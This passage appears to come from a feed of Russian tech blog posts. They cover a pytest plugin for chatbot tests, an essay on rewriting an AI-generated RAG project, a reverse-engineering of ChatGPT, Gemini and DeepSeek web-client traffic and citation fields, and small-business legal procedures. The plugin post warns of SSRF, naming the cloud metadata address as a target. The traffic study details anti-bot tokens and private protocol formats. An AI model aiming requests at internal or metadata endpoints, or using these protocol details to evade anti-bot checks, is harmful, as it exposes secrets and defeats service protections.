    return "sorry, did not get that"

def test_greeting(conversation_factory):
    convo = conversation_factory(bot=my_bot)
    convo.say("hello there")
    assert convo.last.bot == "hi"

conversation_factory — это фикстура. Передаёте ей бота, получаете свежий Conversation, изолированный от всех остальных тестов.

Многоходовое состояние без глобалов

Вот где страдает лагерь одиночных реплик. Адаптер бота может читать convo.state и convo.turns, поэтому заполнение слотов остаётся внутри диалога, а не протекает в тело теста:

def slot_filling_bot(text, convo):
    slots = convo.state.setdefault("slots", {})
    if "name" not in slots:
        slots["name"] = text
        return "got it, what city?"
    if "city" not in slots:
        slots["city"] = text
        return f"hello {slots['name']} from {slots['city']}"
    return "done"

def test_two_slot_flow(conversation_factory):
    convo = conversation_factory(bot=slot_filling_bot)
    convo.say("Mikhail")
    convo.say("Hove")
    assert convo.state["slots"] == {"name": "Mikhail", "city": "Hove"}
    assert convo.last.bot == "hello Mikhail from Hove"

Тест читается сверху вниз как диалог, который он описывает. Когда он падает, вы зовёте convo.transcript() и видите каждую реплику, а не diff двух словарей.

Многоходовый тест ловит бота, который теряет имя на последней реплике. Сообщение об ошибке показывает ровно то, что бот сказал, против того, что ожидал тест. (вставить GIF из Dev.to-версии)

Матчеры для нечётких мест

Точное равенство строк хорошо работает, пока не перестаёт. Некоторые ответы законно варьируются, и вы хотите проверять форму, а не буквальный текст. Модуль expect закрывает частые случаи и кладёт фактический ответ в сообщение об ошибке, чтобы в выводе pytest было видно, что бот сказал против того, что вы хотели:

from pytest_conversational import expect

def test_replies(conversation_factory):
    convo = conversation_factory(bot=my_bot)
    convo.say("hi")

    expect.contains(convo.last.bot, "hello")
    expect.regex(convo.last.bot, r"^hello\s+\w+")
    expect.one_of(convo.last.bot, ["hello there", "hi there", "hey"])

contains по умолчанию делает регистронезависимую проверку вхождения подстроки. regex запускает re.search и отдаёт объект совпадения, чтобы вы могли заглянуть в захваченные группы. one_of сверяет ответ со списком альтернатив, с точным режимом и режимом подстроки. Ничему из этого не нужна модель, чтобы что-то решать. Правила ваши, и они не плывут.

Бот, который живёт за HTTP

Если ваш бот — развёрнутый сервис, писать транспорт руками не нужно. Есть встроенный webhook-адаптер:

pip install pytest-conversational

from pytest_conversational import Conversation
from pytest_conversational.adapters import http_webhook

def test_remote_bot():
    bot = http_webhook("https://my-bot.example.com/webhook", timeout=3.0)
    convo = Conversation(bot=bot)
    convo.say("hello")
    assert "hi" in convo.last.bot.lower()

Контракт по умолчанию: POST с {"user": text, "history": [[u, b], ...]} и 200 с {"reply": "..."}. Если эндпоинт говорит на другой форме, передайте колбэки request_builder и response_parser.

На одном моменте стоит притормозить. URL вебхука уходит в httpx ровно так, как написан. Если в тест когда-нибудь попадёт URL из данных фикстуры, конфига или откуда угодно, что вы не вписали руками сами, адаптер послушно по нему постучится. Сюда входит 127.0.0.1, облачный адрес метаданных 169.254.169.254 и всё на 10.x.x.x внутри вашей сети. Тест, дотянувшийся до эндпоинта метаданных, — не гипотетика; именно так начинается изрядная доля SSRF-инцидентов. Прибейте URL к литералу в тесте или прогоните его через свой allowlist, прежде чем он окажется рядом с адаптером.

Где это уместно, а где нет

Детерминизм на стороне теста — правильный выбор для структуры, состояния, маршрутизации и fallback-ов. Это основная часть того, что ломается в диалоговом продукте, и ровно та часть, с которой модель-судья справляется хуже всего.

Это не инструмент для оценки качества свободной генерации. Если ваш настоящий вопрос — «это хороший, полезный, в тоне бренда абзац», правило на него не ответит, и притворяться не надо. Для этого есть ревью человеком или отдельная оценочная обвязка, и держите её подальше от ворот, которые решают, сломана сборка или нет. Это две разные задачи. Их смешивание — путь к флакающему CI, которому никто не верит.

Честный статус: плагин в alpha, уже опубликован на PyPI (текущая версия 0.4.0), релиз 1.0 в планах. Одиночные и многоходовые проверки, матчеры и HTTP-адаптер работают сейчас. Формат сценариев, который можно грузить из YAML или текстовых фикстур, в планах, как и поддержка async-адаптеров для корутинных ботов. Этого пока нет в коробке, и я лучше скажу прямо, чем дам вам сделать pip install и пойти их искать.

Попробовать

pip install pytest-conversational

Наведите его на бота, который у вас уже есть, напишите один многоходовый тест и посмотрите, скажет ли транскрипт падения больше, чем ваша текущая обвязка. Код, issues и роадмап на GitHub: https://github.com/golikovichev/pytest-conversational

Если попробуете, самые полезные issue — это проверки, которых вам не хватило. Именно они формируют формат сценариев до версии 1.0.

Поколение «Approve»: почему я заставил команду переписать проект, который уже работал

samako — Wed, 10 Jun 2026 21:51:00 +0000

Предистория

Последние пару лет, кажется, невозможно поговорить об ИИ в разработке, чтобы разговор не упирался в тему производительности.

Отовсюду постоянно вылезают новые истории успеха. Кто-то показывает, как сократил время разработки в несколько раз. Кто-то рассказывает, что теперь пишет за день столько кода, сколько раньше писал за неделю. Иные вообще собирают полноценный продукт за выходные и искренне не понимают, почему раньше на это уходили месяцы. Честно говоря – раньше читал, но в последнее время просто игнорирую такие заголовки (почему – надеюсь станет понятно из статьи).

В общем, начинает возникать ощущение, что индустрия наконец приближается к своей заветной мечте: программирование становится быстрее, а создание продукта дешевле и доступнее.

И мы, с моей командой проходим через те же изменения, что и вся индустрия.

Сначала у нас появился Copilot. Потом Claude и GPT стали нормой в ежедневой работе как с IDE, так и с Git. В конце-концов мы остановились на Windsurf (вот уже больше полутора лет), который фактически берёт на себя заметную часть работы. Последним "писком моды" стало использование OpenSpec – от которого мы все, често говоря, просто без ума – добавили его в PHPStorm и результаты были мягко говоря... ошеломительные.

То есть, каждый следующий шаг, которым мы делали в испльзовании ИИ, был абсолютно логичным. Если модель хорошо пишет функции и тесты, почему бы не доверить ей написание не только юнит тестов, но API – тем более, что есть готовые рабочие (качественно написанные) образцы? Если она уверенно справляется с тестами, почему бы не поручить написание какого сервиса целиком? Если сервис получается качественным, то почему бы не попробовать написать уже целую фичу?

И вот, в какой-то момент для такого эксперимента у нас появилась идеальная возможность.

Как мы почти полностью создали функционал с помощью ИИ

Задача была вполне стандартной по сегодняшним меркам.

Нужно было создать чат-бота на базе RAG-архитектуры: загрузка документов из разных источников, индексация, хранение эмбеддингов, поиск контекста, re-ranking, работа с LLM, интерфейс, валидация результата, история диалогов – ничего экзотического.

Я решил посмотреть, насколько далеко можно зайти, если максимально использовать современные инструменты генерации кода.

Большая часть системы создавалась через Windsurf с моделью GPT-5 Low Thinking Pro с использованием OpenSpec (всё писалось на PHP под сильно кастомизированный фреймворк Yii).

Конечно, код генерировали не только токены – команда тоже не сидела сложа руки. Она формулировала требования, уточняла детали, ребята исправляли ошибки, направляли процесс. Но если быть честным до конца, многие архитектурные решения появлялись сначала в ответах модели, а уже потом становились частью функционал.

Самое удивительное – это работало. Причем работало настолько хорошо, что временами становилось не по себе.

То, что раньше требовало многих дней обсуждений, проектирования и реализации, теперь появлялось буквально за часы. Сначала мы получили прототип. Затем первую рабочую версию. Потом модуль с нужным функционалом, которым уже можно было пользоваться без ощущения, что он собран на скорую руку.

Если бы тогда кто-то спросил меня, считаю ли я эксперимент успешным, я бы ответил без малейших сомнений: да, абсолютно.

Но спустя некоторое время я начал задавать вопросы.

Вопросы, на которые неожиданно оказалось сложно ответить

Через какое-то время я начал задавать команде обычные вопросы.

Почему вы выбрали именно такой способ индексации? Почему решили хранить эмбеддинги именно так? Почему такой размер? А модель? Как мы будем масштабировать систему, если данных станет в десять раз больше?

Хорошим примером оказалась работа с эмбеддингами.

Для хранения векторов GPT предложил использовать pgvector поверх PostgreSQL. Решение выглядело вполне разумным: оно быстро внедрялось, не требовало дополнительной инфраструктуры и отлично работало на наших объёмах данных.

Мы приняли эту рекомендацию практически без обсуждений.

Но позже я задал команде простой вопрос: почему pgvector, а не отдельный векторный движок вроде Qdrant или Milvus? В какой момент PostgreSQL перестанет справляться? Какие ограничения мы получим при росте объёма данных?

И неожиданно оказалось, что на эти вопросы никто не мог ответить достаточно уверенно.

Не потому, что решение было плохим. Наоборот – вполне возможно, что для наших задач оно было оптимальным. Проблема была в другом: мы не пришли к этому выбору самостоятельно. Мы просто приняли первую качественную рекомендацию модели.

Главное здесь – я не пытался никого поймать на ошибке. Мне просто хотелось понять, как команда рассуждала, когда принимала эти решения.

Вы знаете как это происходит в реальной жизни...

Обычно за такими вещами стоит какая-то история. Сначала пробовали один подход, потом столкнулись с ограничениями, потом спорили, сравнивали варианты и в итоге пришли к решению.

Но в первом варианте такой истории не было вообще. Точнее, она была у модели, но не у команды.

Команда хорошо понимала код. Любой мог открыть нужный файл и... через некоторе время объяснить, как он работает. Проблема была не в этом.

Проблема была в том, что многие решения как будто появились сразу в готовом виде. команда не проходила через несколько плохих вариантов. Не успевала набить шишки. Не спорила достаточно долго, чтобы по-настоящему понять цену каждого компромисса.

ИИ предлагал разумный вариант, все видели, что он выглядит хорошо, и двигались дальше.

Я тогда понял для себя: понимать готовое решение и прийти к нему самому – это не одно и то же.

Иллюзия, которая возникает слишком легко

Есть одна ошибка, в которую очень легко попасть.

Когда инженеру показывают хороший кусок кода, он может быстро разобраться в нём и подробно объяснить, что и почему там происходит. После этого появляется ощущение, что написать такой код самому было бы несложно.

Но это ощущение часто обманчиво.

Мне это напоминает шахматы.

Когда гроссмейстер показывает красивую комбинацию, она кажется почти очевидной. Смотришь на доску и думаешь: "Да, логично. Я тоже мог бы до этого додуматься".

Но если убрать подсказку и дать ту же позицию без готового ответа, всё выглядит совсем иначе. Найти правильный ход самостоятельно оказывается гораздо сложнее.

Потому что понимать готовое решение и создавать его с нуля – разные вещи.

В разработке работает тот же принцип.

Разобраться в существующей архитектуре обычно проще, чем придумать её самому. Найти слабые места в решении легче, чем предложить действительно хорошую альтернативу. Проверить чужую работу проще, чем сделать её с чистого листа.

Это просто разные виды интеллектуальной работы, требующие разных навыков. Разных!

Почему я решил что нужно переписать то, что уже работало

Я задал себе прямой вопрос: а вырастут ли вместе с этим проектом мои программисты как инженеры?

И, увы, у меня уже не было уверенного ответа.

Тогда я принял решение, которое команда сначала приняла "в штыки". Я решил, что для них, как для инженеров, будет лучше переписать значительную часть проекта практически с нуля.

Сразу уточню важную вещь. Переписывание не означало, что мы выбросили уже сделанную работу и начали всё заново ради самого процесса.

Первая версия проекта осталась с нами. Она стала рабочим прототипом, эталоном поведения системы и, если хотите, своеобразной картой местности. Мы уже знали, какие решения работают, какие компоненты нужны и как должен выглядеть результат.

Фактически мы сохранили полученное знание, но решили заново пройти путь принятия ключевых инженерных решений. Нас интересовал не только готовый код, но и понимание того, почему именно этот код появился таким, а не другим.

То есть, мы это сделали не потому, что первая версия была неудачной. Не потому, что GPT где-то ошибся. И точно не потому, что я разочаровался в ИИ.

Скорее наоборот. Этот опыт окончательно убедил меня, что такие инструменты пришли надолго и со временем будут становиться только лучше.

Причина была совсем в другом.

Мне хотелось вернуть в разработку то, что постепенно и почти незаметно начало исчезать – самостоятельное инженерное мышление.

Когда ИИ перестал быть автором

Во второй версии проекта GPT никуда не исчез.

Мы переписали проект практически с нуля, используя как подсказку первую версию, полностью сгенерированную ИИ.

Да, где-то это даже напоминало старый стиль работы со stackoverflow, но код и структура проекта была написана живыми людьми, часть кода была сознательно упрощена, часть переписана. Даже имена переменных кое-где были заданы более "человеческим" стилем.

То есть, мы по-прежнему активно использовали ИИ в работе: обсуждали разные варианты реализации, разбирали идеи, изучали готовые подходы и просили посмотреть на наши решения со стороны.

Но теперь его роль изменилась. GPT больше не был тем, кто принимает решения.

Он стал помощником, с которым можно посоветоваться. Собеседником, иногда – оппонентом, который предлагает совершенно другой взгляд на проблему. А вот финальное решение всегда оставалось за командой. И в процессе переписывания проекта начали происходить самые интересные вещи.

Например, некоторые решения из первой версии вообще не пережили вторую.

В первой реализации мы практически без обсуждений приняли предложенный ИИ способ организации нескольких частей RAG-конвейера. Он работал и выглядел вполне разумно. Но когда начали проектировать систему самостоятельно, быстро выяснилось, что часть этих решений команда не смогла убедительно защитить даже перед собой.

Появились вопросы, которых раньше никто не задавал. Что произойдёт при десятикратном росте объёма документов? Где будут узкие места? Какие компоненты действительно нужны, а какие появились просто потому, что так предложила модель?

Некоторые решения в итоге остались без изменений. И это оказался лучший аргумент в пользу переписывания. Теперь команда могла объяснить не только то, как эти решения работают, но и почему были выбраны именно они.

Другие были упрощены или полностью заменены. Не потому, что первая версия была плохой, а потому, что теперь за каждым выбором стояло собственное понимание компромиссов.

Конечно же, разработка, заняла больше времени, чем генерация кода с ИИ.

Но... Вернулись обсуждения архитектуры. Снова появились проблемы, хотя на их решения уже уходили не дни, а гораздо меньше (всегда можно было подсмотреть на первый вариант). Некоторые идеи казались удачными, а некоторые приходилось полностью выбрасывать и начинать заново.

Появились тупики, споры и сложные компромиссы.

Все то, что программисты обычно считают самой неприятной частью своей работы.

Но я был доволен: я видел как в этих моментах и происходило настоящее профессиональное развитие. Не тогда, когда за тебя быстро находят ответ, а тогда, когда приходится искать его самому.

Где на самом деле растет инженер

Чем дольше я работаю в индустрии, тем меньше верю в то, что инженер растет просто потому, что пишет код.

Мне кажется, настоящий рост происходит в другие моменты.

Он начинается тогда, когда человек сталкивается с последствиями собственных решений. С результатами того, что он создал ранее.

Например, когда архитектура, которая сначала казалась удачной, вдруг перестает масштабироваться. Или когда выбранный подход упирается в ограничения, о которых раньше никто не думал.

Иногда приходится признать, что красивое решение на практике оказалось неправильным. Иногда после нескольких дней работы нужно удалить половину написанного и начать заново.

Я думаю, что именно в такие моменты и формируется инженерное мышление.

Не во время успешного релиза. Не после очередного коммита. И точно не тогда, когда просто нажимаешь кнопку Approve.

А тогда, когда приходится разбираться, почему решение не сработало, и искать новый путь.

Что будет с джунами

Если честно, будущее опытных программистов волнует меня не так сильно.

Скорее всего, они адаптируются без особых проблем.

Для сильного специалиста ИИ становится просто еще одним инструментом. Он помогает быстрее изучать новые подходы, быстрее писать рутинный код и быстрее проверять идеи.

Но все ключевые решения по-прежнему принимает сам инженер.

Гораздо интереснее то, что происходит с новичками.

Раньше путь развития был довольно непростым. Человек писал код, допускал ошибки, получал замечания на ревью (бывало десятками за раз), переделывал решение и снова ошибался. Через этот процесс постепенно приходило понимание того, как принимать хорошие инженерные решения.

Сегодня этот путь начинает меняться.

Очень часто модель сразу предлагает решение, которое выглядит вполне рабочим. Сеньор оставляет несколько комментариев, задача закрывается, и команда движется дальше.

Для продукта это может быть отличным результатом. Работа выполняется быстрее, а компания получает нужный эффект.

Но становится ли при этом сильнее сам инженер? Я не знаю.

Возможно, мы только начинаем понимать, как меняется процесс обучения в эпоху ИИ. И пока непонятно, поможет ли это новичкам расти быстрее или, наоборот, лишит их важной части опыта, через которую раньше проходил практически каждый разработчик.

Поэтому я думаю, что главный вызов ближайших лет связан не с тем, научится ли ИИ генерировать код лучше человека.

Главный вопрос в том, как сохранить и развивать инженерное мышление в мире, где готовые ответы становятся доступнее с каждым днем.

Возможно, через несколько лет мы обнаружим, что научились создавать продукты гораздо быстрее. Но пока я не уверен, что мы научимся так же быстро выращивать инженеров.

И именно этот вопрос мне кажется сегодня самым важным!

Мы вскрыли трафик ChatGPT, Gemini и DeepSeek, чтобы понять, откуда берутся «источники» в ответах

Emelian1917 — Wed, 10 Jun 2026 21:16:56 +0000

Когда нейросеть отвечает на вопрос и показывает блок «источников», кажется, что у всех систем это одно и то же — список ссылок, на которые модель опиралась. На деле за этим блоком в каждой системе стоит своя реализация: свой способ обмена с сервером, свой формат ответа, свои поля, из которых интерфейс достаёт цитаты. Мы разобрали сетевой обмен веб-клиентов трёх систем — ChatGPT, Gemini и DeepSeek — и параллельно прогнали через них один и тот же набор запросов по 10 раз, чтобы понять не только техническое устройство цитирования, но и что эти системы реально цитируют.

Сразу оговорка: я основатель RankCaster AI — платформы, которая управляет видимостью брендов в ответах нейросетей. То есть мы изучаем категорию, в которой сами работаем. Чтобы не подыгрывать себе, мы исключили собственный домен из всех таблиц ещё до подсчётов, а ограничения методики описали в полном тексте исследования. Здесь — техническая часть: разбор механики цитирования.

Зачем вообще лезть в сетевой обмен

Исходный вопрос был маркетинговый: если сайт стоит в топ-10 Google или Bing, попадёт ли он в источники, которые цитирует ChatGPT по тому же запросу?

Короткий ответ — почти никогда. На 4 запросах × 2 поисковика × 3 нейросети (120 позиций SEO-топа) мы нашли всего 4 совпадения по URL — 3,3%. Картина бимодальня: 8 из 12 пар «поисковик × нейросеть» дали ноль совпадений, оставшиеся 4 — ровно по одному URL. Все четыре совпадения пришлись на Bing; на стороне Google — ноль. У ChatGPT — ноль совпадений с обоими поисковиками.

Но чтобы корректно считать совпадения, сначала нужно понять, что такое «источник» в каждой системе на уровне сетевого обмена. Иначе сравниваешь сущности, которые могут оказаться несравнимыми. Так маркетинговый вопрос превратился в сессию с инструментами разработчика по трём платформам.

Коротко о методике: 4 англоязычных B2B-запроса про инструменты мониторинга упоминаний в нейросетях, каждый запущен по 10 раз в каждой системе (веб-поиск включён, сессии без входа в аккаунт, все замеры в один день). Стабильность цитирования измеряли показателем APR (Answer Presence Rate) — в скольких прогонах из десяти источник попал в ответ. В таблицы шли источники с APR не ниже 20%. При N=10 доверительный интервал любой точки — порядка ±15–20 процентных пунктов, поэтому опираемся на качественную форму картины, а не на точечные значения.

Важная оговорка: ни одна из трёх систем не публикует внутренние схемы ответов. Всё, что ниже, — наблюдения за публичным сетевым обменом веб-клиентов и структурой JSON. Расшифровки полей со скрытыми именами — это гипотезы, построенные на поведении клиента, а не официальная документация. Имена адресов и заголовков зафиксированы в наших сессиях и могут отличаться между сборками, регионами и аккаунтами.

ChatGPT: цитата привязана к фрагменту текста

Как устроен обмен. Веб-клиент шлёт POST-запросы с JSON на адреса вроде /conversation, а ответ получает потоком через Server-Sent Events. Все запросы идут на chatgpt.com, серверная часть доступна по трём префиксам путей: /backend-api (основной), /backend-alt и /backend-anon. Последний обслуживает работу без входа в аккаунт, но «без входа» не значит «без идентификации»: каждый запрос всё равно сопровождается идентификатором устройства и токенами Cloudflare/Sentinel, по которым сервер привязывает обмен к конкретному устройству и сессии. Режим скрывает, кто вы как пользователь, — но не делает ваш клиент неотличимым для платформы.

Ход запроса. Перед основным обменом клиент делает подготовительный запрос и получает токен (мы зовём его рабочим именем conduit_token). Затем сообщение уходит на /conversation с двумя нестандартными заголовками — по поведению это похоже на семейство механизмов Sentinel, которые ранее описывали другие исследователи: подготовительный запрос выдаёт привязанное к сессии доказательство работы клиента, без которого основной вызов не пройдёт.

В части сессий тот же подготовительный запрос дополнительно требовал токен Cloudflare Turnstile — то есть проверка антибота приходила не отдельной страницей-загадкой, как обычно, а условием того же подготовительного запроса, который выдаёт conduit_token. Иначе говоря, две защиты совмещены в одном шаге, а не разнесены по разным.

Ответ приходит потоком Server-Sent Events: служебные сообщения, фрагменты текста, закрывающее сообщение.

Цитаты. Источники живут в массиве annotations[], внутри объектов url_citation с полями url, title, start_ix, end_ix. Последние два — это смещения в сгенерированном тексте, границы фрагмента ответа, к которому привязан источник. По аналогии с публичным Responses API, где start_index/end_index задокументированы как кодовые единицы UTF-16, и поскольку строки в JavaScript тоже индексируются в UTF-16, эти смещения почти наверняка тоже UTF-16: вызов text.slice(start_ix, end_ix) в браузере возвращает именно процитированный фрагмент. Практическое следствие для тех, кто будет это разбирать: эмодзи и часть китайских/японских/корейских символов занимают две единицы (суррогатная пара), и если считать смещения байтами или кодовыми точками, цитаты «съедут».

Главный вывод по ChatGPT: источник привязан к конкретному фрагменту ответа, а не ко всему ответу целиком. Чтобы бренд попал в url_citation, модель должна использовать связанный с ним контент при генерации именно этого фрагмента.

Что цитирует. На концептуальном запросе «What is GEO?» ChatGPT во всех 10 прогонах цитировал научную статью arXiv 2311.09735 (Принстон / Колумбия — та самая, где введён термин GEO). APR 100%, стабильнее любого маркетингового блога в нашей выборке. Плюс Wikipedia и узкоспециализированные блоги. С SEO-топом — ноль пересечений по URL.

Gemini: каталог источников в массиве со скрытыми именами полей

Как устроен обмен. Потоковый ответ внутри Wiz — внутреннего JavaScript-каркаса Google, на котором собраны Docs, Maps, Photos. Адрес batchexecute — это стандартный для Wiz-фронтендов механизм пакетной отправки удалённых вызовов. База: https://gemini.google.com/_/BardChatUi/data/. На вызов отправки сообщения мы наблюдали rpcid hNvQHb (значения rpcid между сборками меняются), на серверной стороне — обработчики семейства BardFrontendService.

Формат тела. Снаружи — application/x-www-form-urlencoded с двумя значимыми полями: f.req (полезная нагрузка) и at=<SNlM0e> (токен защиты от CSRF). Кстати, в имени токена третий символ — строчная латинская L, пятый — ноль; в одноширинных шрифтах это ловушка. Поле f.req — JSON-конверт вида [null,"<строка-конверт>"], где внутри — нагрузка в формате JSPB / PBLite: сообщение Protobuf, записанное как массив JSON, в котором поле определяется не именем, а позицией. Имён полей в сетевом обмене нет вообще — маскировка именно в раскладке по индексам. Открытых .proto-описаний для этого адреса не существует, поэтому соответствия полей мы вывели только эмпирически.

Цитаты. Источники описываются набором полей с короткими маскированными именами. Здесь важно разделить два слоя: присутствие полей в потоке — наблюдаемый факт (имена реально встречаются в обмене), а смысл каждого имени — гипотеза. Наши рабочие догадки:

sourceUrl — URL источника (саму строку URL видно напрямую, имя поля — наша рабочая метка: в сетевом обмене оно приходит позицией в массиве);
Mf — предположительно заголовок источника;
SR — предположительно краткое содержание;
rs — предположительно reliability_score, внутренняя оценка доверия к домену;
ls — предположительно last_seen_date, дата последнего обращения;
y6 — предположительно сам процитированный фрагмент;
K1b — предположительно флаг валидности URL;
GK — диапазон символов в ответе (функциональный аналог start_ix / end_ix из ChatGPT);
tM — тип слияния (в обмене встречаются значения вроде MERGED).

У двухбуквенных имён есть и другие правдоподобные расшифровки (rs — ranking_signal? retrieval_score?), и без внутренней документации Google однозначно выбрать нельзя. Но качественный вывод от точности расшифровок не зависит: рядом с каждым источником у Gemini едет семейство внутренних сигналов, коррелирующих с авторитетностью — сам факт существования этих полей важнее точного значения каждой аббревиатуры.

Что цитирует. Gemini систематически поднимает крупные маркетинговые и SaaS-домены (Semrush, HubSpot, Zapier) и продукты своей же категории — на одном из запросов в топ попали четыре разных URL одного домена-конкурента. Любопытная деталь: в топ источников Gemini за все прогоны не попал ни один ресурс самого Google. И именно на паре Bing × Gemini пришлась заметная часть всех совпадений с SEO-топом.

DeepSeek: источники как приложение к под-запросам

DeepSeek из трёх систем устроен прозрачнее всего: веб-клиент возвращает массив search_results[], привязанный к под-запросам, на которые система разбивает исходный вопрос. Никакой арифметики смещений с суррогатными парами, никаких маскированных аббревиатур — но свой характер выбора источников выражен ярче всех.

Что цитирует. DeepSeek живёт на новостных ресурсах и пресс-релизах: TMCnet, MarketScreener, GlobeNewswire, отраслевые B2B-новостники — то есть на слое, который формируется сервисами дистрибуции пресс-релизов. Из трёх систем он единственный стабильно цитировал китайские источники (BusinessNext, Alibaba Cloud). И именно у него — три точки максимальной стабильности из всей выборки: один поддомен документации (10/10) и два инструментальных сайта (по 10/10), которых нет ни в SEO-топах, ни у других систем.

Три системы — три разные модели «источника»

Сведём:

	ChatGPT	Gemini	DeepSeek
Способ обмена	JSON + Server-Sent Events	Wiz / batchexecute, JSPB	JSON, `search_results[]`
Привязка цитаты	к фрагменту текста (`start_ix` / `end_ix`)	к диапазону (`GK`) + каталог полей	к под-запросу
Внутренние сигналы	не видны	семейство полей (`rs`, `ls`, `K1b`…)	не видны
Любимый тип источников	наука, Wikipedia, нишевые блоги	крупные SaaS- и маркетинг-домены	пресс-релизы, новостные сетки, документация
Пересечение URL с SEO-топом	0	точечное (только Bing)	точечное (только Bing)

Практические следствия:

«Оптимизируй под Google — и нейросеть подтянется» в изученной категории не работает. 3,3% пересечения, ноль на стороне Google. Каждая система отбирает источники по своим правилам, не совпадающим ни с SEO-ранжированием, ни друг с другом.

Для ChatGPT работает контент, который модель захочет использовать в конкретном фрагменте ответа — привязка цитаты к фрагменту делает «общую известность бренда» бесполезной.

Для Gemini, судя по полям, существует внутренняя оценка доменов. Если гипотеза reliability_score верна, домен с историей доверия важнее отдельной удачной статьи.

Для DeepSeek канал распространения — пресс-релизы и новостные сетки, которые SEO-специалисты привыкли считать мусорным каналом.

Ограничения

Честно и списком: все 4 запроса — из одной продуктовой категории (нашей же — смещение выборки задекларировано); формулировки запросов составляли мы сами, а не брали из внешнего реестра; N=10 прогонов даёт ±15–20 п.п. на точку; замер сделан в один день, а веб-клиенты всех трёх систем обновляются постоянно, так что конкретные имена полей и адресов — снимок, а не канон. Выводы не стоит автоматически переносить на другие категории.

Полное исследование — все таблицы по 4 запросам, методика, типология источников — Source Overlap Between Search Engines and AI Recommendations.

Если вы видите в своих сессиях с инструментами разработчика другие имена полей или у вас есть данные по другим категориям запросов — расскажите в комментариях, нам интересно сравнить.

Юридическое сопровождение малого бизнеса: карта задач, нормативная база и операционная логика

ddconsult — Wed, 10 Jun 2026 21:09:37 +0000

Малый бизнес несёт непропорционально высокую административную нагрузку: штраф по ч. 4 ст. 5.27 КоАП РФ за отсутствие трудового договора — до 100 000 ₽ на юридическое лицо, отказ ФНС в регистрации изменений по формальным основаниям откатывает процесс на 5–7 недель, ненадлежащим образом оформленный договор в арбитраже лишает доказательной базы. При этом экономика малого бизнеса не позволяет держать штатный юридический блок. В этой статье — разбор операционной структуры юридических задач, нормативная привязка и механика типовых процедур.

Структура юридических задач малого бизнеса

Юридические потребности малого бизнеса распадаются на пять функциональных блоков. Они не равнозначны по частоте возникновения, но каждый критичен при наступлении соответствующего события.

Корпоративный блок — регистрация, внесение изменений в ЕГРЮЛ и устав, реорганизация, подготовка корпоративных решений. Частота: 1–3 раза в год, но цена ошибки высокая.

Договорная работа — разработка, согласование, экспертиза договоров. Претензионная переписка как обязательная досудебная стадия по ч. 5 ст. 4 АПК РФ (30 календарных дней по умолчанию для споров из предпринимательской деятельности). Частота: постоянная.

Кадровое делопроизводство — ведение обязательной документации по ТК РФ, локальные нормативные акты, оформление движений персонала. Частота: ежемесячно.

Налоговые консультации — ответы на требования ФНС, выбор режима налогообложения, проверка первичной документации. Частота: ситуативно, но в рамках камеральных и выездных проверок — принудительно.

Представительство — сопровождение проверок ФНС, ГИТ, прокуратуры; арбитражные и суды общей юрисдикции. Частота: нерегулярно, но с высоким удельным весом трудозатрат.

Ниже — разбор двух наиболее технически сложных блоков: корпоративного и кадрового.

Внесение изменений в ЕГРЮЛ и устав: процедурная механика

Нормативная база

Порядок государственной регистрации изменений регулируется Федеральным законом от 08.08.2001 № 129-ФЗ «О государственной регистрации юридических лиц и индивидуальных предпринимателей». Форма заявления — Р13014, утверждена Приказом ФНС России от 31.08.2020 № ЕД-7-14/617@. Старые формы Р13001 и Р14001 не применяются с 25 ноября 2020 года.

Срок регистрации — 5 рабочих дней (п. 1 ст. 8 ФЗ № 129-ФЗ), при электронной подаче через сервис ФНС или через нотариуса — 1 рабочий день.

Госпошлина — 800 ₽ (пп. 3 п. 1 ст. 333.33 НК РФ). При электронной подаче с усиленной квалифицированной электронной подписью (УКЭП) — 0 ₽ (пп. 32 п. 3 ст. 333.35 НК РФ).

Типология изменений и требования к документам

Разные типы изменений влекут разный пакет документов и разные процедурные требования.

Смена генерального директора

Форма: Р13014
Нотариус: не требуется (если директор подаёт лично или через УКЭП)
Дополнительные требования: решение участника / протокол собрания

Смена юрадреса (в пределах места нахождения)

Форма: Р13014
Нотариус: не требуется
Дополнительные требования: документ, подтверждающий права на адрес

Смена юрадреса (изменение места нахождения)

Форма: Р13014
Нотариус: не требуется
Дополнительные требования: двухэтапная процедура: сначала уведомление, через 20 дней — регистрация

Изменение устава (ОКВЭД, порядок управления и т.д.)

Форма: Р13014 + новая редакция устава
Нотариус: не требуется
Дополнительные требования: новый устав в 2 экз. (или 1 экз. при электронной подаче)

Выход участника из ООО

Форма: Р13014
Нотариус: да — заявление участника и договор (нотариус сам подаёт заявление в ФНС)
Дополнительные требования: —

Продажа доли участника

Форма: Р13014
Нотариус: да — договор купли-продажи доли (нотариус удостоверяет сделку и подаёт документы)
Дополнительные требования: —

Увеличение уставного капитала

Форма: Р13014
Нотариус: не требуется
Дополнительные требования: протокол, заявление, подтверждение оплаты

Двухэтапная процедура смены места нахождения

Если юридический адрес меняется с изменением места нахождения (другой населённый пункт или, применительно к Москве, — в ряде случаев другой район), применяется двухэтапная процедура по ст. 18 ФЗ № 129-ФЗ:

Этап 1. Уведомление ФНС об изменении места нахождения — форма Р13014 с указанием нового адреса. В ЕГРЮЛ вносится запись о принятом решении. Пауза — 20 рабочих дней (законодательный запрет на регистрацию в этот период защищает кредиторов).

Этап 2. По истечении 20 рабочих дней — повторная подача Р13014 с новым уставом (если адрес закреплён в уставе) или без него. ФНС регистрирует изменение.

На практике именно здесь возникает большинство технических ошибок: компании пропускают первый этап или неправильно исчисляют 20-дневный срок.

Типовые основания для отказа в регистрации

По п. 1 ст. 23 ФЗ № 129-ФЗ ФНС вправе отказать по исчерпывающему перечню оснований. На практике основные:

Ошибки в форме Р13014: несоответствие паспортных данных данным в базе МВД (поменялся паспорт, а заявитель использует старые данные); неверное заполнение листов при одновременном изменении нескольких сведений.
Подача неуполномоченным лицом: представитель по доверенности должен предъявить нотариально удостоверенную доверенность, если подача не электронная.
Использование адреса из реестра «массовых адресов» ФНС.
Противоречие устава нормам Федерального закона от 08.02.1998 № 14-ФЗ «Об обществах с ограниченной ответственностью» — например, положения о порядке одобрения крупных сделок, сформулированные без учёта изменений 2017 года (ФЗ от 03.07.2016 № 343-ФЗ).

После отказа повторная подача возможна в любое время, однако госпошлина не возвращается — каждая попытка стоит 800 ₽. При электронной подаче этот риск отсутствует.

Кадровое делопроизводство: обязательный минимум и нормативные требования

Почему кадровая документация — это не бюрократия

Трудовая инспекция (Роструд) при плановых и внеплановых проверках проверяет конкретный перечень документов. Отсутствие каждого из них — самостоятельный состав административного правонарушения. Санкции по ст. 5.27 КоАП РФ применяются к каждому случаю нарушения отдельно, и суды отвергают попытки квалифицировать несколько нарушений как одно.

